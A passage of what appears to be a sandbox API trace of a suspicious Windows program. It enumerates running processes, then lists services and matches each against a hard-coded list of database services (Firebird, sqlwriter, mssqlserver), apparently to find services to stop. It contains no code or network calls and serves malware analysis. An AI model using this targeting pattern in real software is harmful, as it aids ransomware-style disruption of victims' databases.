lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="stream-test.exe")) returned 1 [0172.545] lstrlenW (lpString="stream-test.exe") returned 15 [0172.545] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="crestboatingstuffed.exe")) returned 1 [0172.545] lstrlenW (lpString="crestboatingstuffed.exe") returned 23 [0172.545] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0172.546] lstrlenW (lpString="taskhostw.exe") returned 13 [0172.546] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist_exhaust.exe")) returned 1 [0172.547] lstrlenW (lpString="wrist_exhaust.exe") returned 17 [0172.547] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="movers-indication.exe")) returned 1 [0172.547] lstrlenW (lpString="movers-indication.exe") returned 21 [0172.547] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="drama tv thee.exe")) returned 1 [0172.548] lstrlenW (lpString="drama tv thee.exe") returned 17 [0172.548] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="barriers.exe")) returned 1 [0172.549] lstrlenW (lpString="barriers.exe") returned 12 [0172.549] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="shootclick.exe")) returned 1 [0172.550] lstrlenW (lpString="shootclick.exe") returned 14 [0172.550] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel.exe")) returned 1 [0172.550] lstrlenW (lpString="nickel.exe") returned 10 [0172.550] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="imperialopened.exe")) returned 1 [0172.551] lstrlenW (lpString="imperialopened.exe") returned 18 [0172.551] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="russell indonesian fo.exe")) returned 1 [0172.552] lstrlenW (lpString="russell indonesian fo.exe") returned 25 [0172.552] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blood popularity orbit.exe")) returned 1 [0172.553] lstrlenW (lpString="blood popularity orbit.exe") returned 26 [0172.553] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="perhapssentences.exe")) returned 1 [0172.554] lstrlenW (lpString="perhapssentences.exe") returned 20 [0172.554] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0172.554] lstrlenW (lpString="dllhost.exe") returned 11 [0172.555] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.555] lstrlenW (lpString="svchost.exe") returned 11 [0172.555] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0172.556] lstrlenW (lpString="chrome64b.exe") returned 13 [0172.556] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0172.557] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0172.557] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd20, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0172.557] lstrlenW (lpString="conhost.exe") returned 11 [0172.558] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0172.558] lstrlenW (lpString="cmd.exe") returned 7 [0172.558] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0172.559] lstrlenW (lpString="conhost.exe") returned 11 [0172.559] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0172.560] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0172.560] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 0 [0172.561] CloseHandle (hObject=0x360) returned 1 [0172.561] Sleep (dwMilliseconds=0x1f4) [0173.068] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ce960 [0173.069] EnumServicesStatusExW (in: hSCManager=0x7ce960, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 0 [0173.069] GetLastError () returned 0xea [0173.069] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1edc) returned 0x43800d0 [0173.069] EnumServicesStatusExW (in: hSCManager=0x7ce960, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x43800d0, cbBufSize=0x1edc, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x43800d0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 1 [0173.070] CloseServiceHandle (hSCObject=0x7ce960) returned 1 [0173.070] lstrlenW (lpString="Appinfo") returned 7 [0173.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0173.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0173.070] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0173.070] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0173.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0173.070] lstrlenW (lpString="AppXSvc") returned 7 [0173.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0173.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0173.070] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0173.070] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0173.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0173.070] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0173.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0173.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0173.070] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0173.070] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0173.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0173.070] lstrlenW (lpString="Audiosrv") returned 8 [0173.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0173.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0173.070] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0173.071] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0173.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0173.071] lstrlenW (lpString="BFE") returned 3 [0173.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0173.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0173.071] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0173.071] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0173.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0173.071] lstrlenW (lpString="BITS") returned 4 [0173.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0173.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0173.071] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0173.071] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0173.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0173.071] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0173.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0173.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0173.071] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0173.071] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0173.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0173.071] lstrlenW (lpString="CDPSvc") returned 6 [0173.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0173.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0173.071] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0173.071] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0173.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0173.071] lstrlenW (lpString="ClickToRunSvc") returned 13 [0173.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0173.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0173.071] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0173.071] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0173.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0173.071] lstrlenW (lpString="ClipSVC") returned 7 [0173.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0173.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0173.071] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0173.072] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0173.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0173.072] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0173.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0173.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0173.072] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0173.072] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0173.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0173.072] lstrlenW (lpString="CryptSvc") returned 8 [0173.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0173.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0173.072] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0173.072] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0173.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0173.072] lstrlenW (lpString="DcomLaunch") returned 10 [0173.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0173.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0173.072] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0173.072] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0173.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0173.072] lstrlenW (lpString="DeviceAssociationService") returned 24 [0173.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0173.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0173.072] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0173.072] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0173.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0173.072] lstrlenW (lpString="Dhcp") returned 4 [0173.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0173.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0173.072] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0173.072] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0173.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0173.072] lstrlenW (lpString="Dnscache") returned 8 [0173.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0173.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0173.073] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0173.073] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0173.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0173.073] lstrlenW (lpString="DoSvc") returned 5 [0173.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0173.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0173.073] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0173.073] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0173.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0173.073] lstrlenW (lpString="DPS") returned 3 [0173.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0173.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0173.073] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0173.073] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0173.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0173.073] lstrlenW (lpString="DusmSvc") returned 7 [0173.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0173.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0173.073] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0173.073] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0173.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0173.073] lstrlenW (lpString="EventLog") returned 8 [0173.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0173.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0173.073] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0173.073] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0173.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0173.073] lstrlenW (lpString="EventSystem") returned 11 [0173.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0173.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0173.073] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0173.073] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0173.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0173.073] lstrlenW (lpString="FontCache") returned 9 [0173.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0173.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0173.074] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0173.074] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0173.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0173.074] lstrlenW (lpString="gpsvc") returned 5 [0173.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0173.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0173.074] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0173.074] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0173.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0173.074] lstrlenW (lpString="iphlpsvc") returned 8 [0173.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0173.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0173.074] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0173.074] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0173.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0173.074] lstrlenW (lpString="KeyIso") returned 6 [0173.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0173.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0173.074] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0173.074] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0173.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0173.074] lstrlenW (lpString="LanmanServer") returned 12 [0173.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0173.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0173.074] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0173.074] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0173.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0173.074] lstrlenW (lpString="LanmanWorkstation") returned 17 [0173.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0173.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0173.074] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0173.074] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0173.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0173.074] lstrlenW (lpString="lfsvc") returned 5 [0173.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0173.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0173.075] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0173.075] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0173.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0173.075] lstrlenW (lpString="LicenseManager") returned 14 [0173.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0173.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0173.075] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0173.075] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0173.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0173.075] lstrlenW (lpString="lmhosts") returned 7 [0173.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0173.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0173.075] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0173.075] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0173.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0173.075] lstrlenW (lpString="LSM") returned 3 [0173.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0173.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0173.075] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0173.075] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0173.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0173.075] lstrlenW (lpString="MpsSvc") returned 6 [0173.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0173.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0173.075] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0173.075] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0173.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0173.075] lstrlenW (lpString="NcbService") returned 10 [0173.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0173.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0173.075] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0173.075] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0173.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0173.075] lstrlenW (lpString="netprofm") returned 8 [0173.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0173.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0173.076] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0173.076] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0173.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0173.076] lstrlenW (lpString="NlaSvc") returned 6 [0173.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0173.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0173.076] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0173.076] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0173.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0173.076] lstrlenW (lpString="nsi") returned 3 [0173.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0173.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0173.076] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0173.076] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0173.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0173.076] lstrlenW (lpString="PcaSvc") returned 6 [0173.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 